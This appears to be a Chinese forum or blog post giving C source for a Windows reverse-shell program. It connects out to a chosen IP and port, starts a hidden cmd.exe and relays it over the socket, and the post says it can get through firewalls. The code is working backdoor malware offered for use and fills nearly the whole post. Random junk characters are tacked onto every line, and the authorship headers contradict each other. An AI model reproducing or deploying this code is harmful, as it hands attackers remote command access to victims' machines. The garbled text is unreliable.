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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v.:aICB5  
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/* ============================== XJy~uks,  
Rebound port in Windows NT zb.^ _A  
By wind,2006/7 ;EbGW&T  
===============================*/ 3Yf&F([t  
#include w2!G"oD  
#include occ^bq  
T%~w~stW  
#pragma comment(lib,"wsock32.lib") 01N "  
\Zz"%i  
void OutputShell(); 0 3fCn"  
SOCKET sClient; j_*$ Avy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; JP`$A  
&C<K|F!j!  
void main(int argc,char **argv) cHOtMPyQ  
{ 1>P[3Y@}  
WSADATA stWsaData; +aaj3m  
int nRet; O=UXe]D  
SOCKADDR_IN stSaiClient,stSaiServer; ehk5U,d  
vN:gu\^-   
if(argc != 3) hc OT+L>  
{ L;zwqdI  
printf("Useage:\n\rRebound DestIP DestPort\n"); H-A?F ^#  
return; |D+"+w/  
} d4KT wn5g  
I Y%M5(&Q  
WSAStartup(MAKEWORD(2,2),&stWsaData); n2&*5m&$  
,T@+QXh  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uKc x$  
IvGQ7 VLr  
stSaiClient.sin_family = AF_INET; eqbQ,, &  
stSaiClient.sin_port = htons(0); 0+MNu8t  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \MBbZB9@  
2g5i3C.q$  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) koOkm:(,  
{ $U%M]_  
printf("Bind Socket Failed!\n"); Z- |.j^n  
return; 0JzH dz  
} Oxs O  
3/c3e{,!  
stSaiServer.sin_family = AF_INET; 85CH% I#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ap=m5h27  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~_opU(;f  
aX`"V/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O O?e8OU  
{ FsQeyh>  
printf("Connect Error!"); {y)O ?9q  
return; MCOiB <L6  
} {$D[l hj  
OutputShell(); Cbu/7z   
} !>QS746S@  
&_Kb;UVRj  
void OutputShell() j6v|D>I  
{ -!MrG68  
char szBuff[1024];  [U9b_`  
SECURITY_ATTRIBUTES stSecurityAttributes; xi['knUi2-  
OSVERSIONINFO stOsversionInfo; VP0q?lh  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MmiC%"7wt  
STARTUPINFO stStartupInfo; ^mxOQc !  
char *szShell; rk$&sDc/3  
PROCESS_INFORMATION stProcessInformation; 9A_{*E(wd  
unsigned long lBytesRead; S3#NGBZ/  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xi$( U8J_  
2gM=vaiH=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kFKc9}7W  
stSecurityAttributes.lpSecurityDescriptor = 0; _8t5rF  
stSecurityAttributes.bInheritHandle = TRUE; I5]=\k($  
<vMna< /d  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); rEz-\jLD~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +8qtFog$\g  
iV9wqUkMv  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'a.n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J{>9ctN  
stStartupInfo.wShowWindow = SW_HIDE; )9/.K'o,dy  
stStartupInfo.hStdInput = hReadPipe; p3tu_If  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hOYm =r  
?bFP'.  
GetVersionEx(&stOsversionInfo); 9/A$ 3#wF  
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switch(stOsversionInfo.dwPlatformId) cs[_TJo  
{ +;z^qn  
case 1: =KQQS6  
szShell = "command.com"; & Tz@lvOv%  
break; O-m=<Fk> D  
default: 8Aq [@i  
szShell = "cmd.exe"; 5)h#NkA\J  
break; V{!fag  
} #yNSQd  
Br/qOO:n$}  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u.v 5!G  
_N8Tu~lqV  
send(sClient,szMsg,77,0); ?%RAX CK  
while(1) be&5vl  
{ L8OW@)|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vb{5-v ;a  
if(lBytesRead) [zXKS |  
{ VnlgX\$}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V11(EZJ/j  
send(sClient,szBuff,lBytesRead,0); NUxOU>f  
} 1.S7MSpTV  
else j,<3[  
{ W,sU5sjA  
lBytesRead=recv(sClient,szBuff,1024,0); D5]AL5=Xt2  
if(lBytesRead<=0) break; +'fy%/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w Vegr  
} D#%aow'(7  
} JFAmND;+  
5\\#kjjx  
return; ~ZrSoVP=  
}
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